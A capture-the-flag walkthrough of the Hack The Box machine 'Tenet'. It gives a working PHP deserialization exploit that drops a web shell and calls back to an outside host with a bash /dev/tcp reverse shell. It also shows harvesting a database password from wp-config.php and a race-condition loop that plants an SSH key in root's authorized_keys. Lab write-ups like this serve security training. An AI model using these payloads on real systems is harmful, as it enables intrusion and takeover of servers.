About

Tenet
IP 10.129.120.173
OS Linux
Difficulty Medium

nmap

└─$ nmap -sV -sC -oA tenet 10.129.120.173                 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-19 23:28 EDT
Nmap scan report for 10.129.120.173
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.25 seconds

Port 80

Added 10.129.120.173 to /etc/hosts. Browsing to tenet.htb we find a Wordpress blog. Running wpscan reveals: [!] The version is out of date, the latest version is 1.2. Unfortunately Wordpress blog version doesn’t have any exploits available.

Reading through the site we find an article at http://tenet.htb/index.php/2020/12/16/logs/ which has a comment on it that says the following:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

  • neil

Haven’t heard of sator in the past. Visiting http://tenet.htb/sator.php and http://tenet.htb/sator.php.bak doesn’t reveal anything. We get a 404 Not found.

However visiting http://10.129.120.173/sator.php gives us a site which says the following:

[+] Grabbing users from text file
[] Database updated 

and http://10.129.120.173/sator.php.bak gives us the following file:

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

It seems we have our initial foothold.

User.txt

Analysing the above piece of PHP we can see that it’s deserialising the input which is then being passed to the __destruct() function. This is where we should be able to get RCE. For further reading on this matter:

In order to exploit this we need to craft our own reverse shell.


<?php

class DatabaseExport
{
    public $user_file = 'revshell.php';
    public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.3/5050 0>&1\'") ?>'

    public function update_db()
    {
        echo  '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    }

    public function __destruct()
    {
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        echo 'Exploit is working as intended';
    }
}

$url = 'http://10.129.120.173/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.129.120.173/revshell.php");

?>

We run this,

─$ php tenet.php
[] Database updated <br>Exploit is working as intended

and at the same time open a Netcat listener.

─$ nc -lvnp 5050                              
listening on [any] 5050 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.120.173] 43092

To get a nicer shell we use the standard Python one liner:

python3 -c 'import pty; pty.spawn("/bin/sh")'

From here we need to get user.txt. We are current www-data and do not have the appropriate privileges to access user.txt. Searching through the /wordpress folder we find the following information in /var/www/html/wordpress/wp-config.php:

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

And we finally have it.

neil@tenet:~$ cat user.txt
4f4ec236fcd717f9734e44b4f118920a

Root

Onto root.txt.

neil@tenet:~$ sudo -l                                                                                               
Matching Defaults entries for neil on tenet:                                                                        
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:        
                                                                                                                    
User neil may run the following commands on tenet:                                                                  
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh    
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash                                                                                                         
                                                                                                                    
checkAdded() {                                                                                                      
                                                                                                                    
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)                                                        
                                                                                                                    
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then                                        
                                                                                                                    
                /bin/echo "Successfully added $sshName to authorized_keys file!"                                    
                                                                                                                    
        else                                                                                                        
                                                                                                                    
                /bin/echo "Error in adding $sshName to authorized_keys file!"                                       
                                                                                                                    
        fi                                                                                                          
                                                                                                                    
}                                                                                                                   
                                                                                                                    
checkFile() {                                                                                                       
                                                                                                                    
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then                                                                     
                                                                                                                    
                /bin/echo "Error in creating key file!"                                                             

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

The script:

  1. Generates and writes a SSH public key (id_rsa.pub) to the file /tmp/ssh-XXXXXXXX
  2. Copies the contents of this folder to root/.ssh/authorized_keys
  3. Deletes the tmp file There is a race condition vulnerability in this script. If we can write to the tmp folder before it copies it over, we can insert our SSH key into the authorized_keys folder and thus ssh in as root. In order to exploit it, we need three terminal sessions.

Terminal 1

We run the following script as neil.

while true
do
echo "YOUR id_rsa.pub key" | tee /tmp/ssh-*
done

This is going to constantly write your public key to the tmp folder

Terminal 2

We spam sudo ./enableSSH.sh until we get a successful message.

neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Error in adding root@ubuntu to authorized_keys file!
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!

Terminal 3

We login as root.

root@tenet:~# cat root.txt
130f4921fd1802ebdb28b572bb8355b8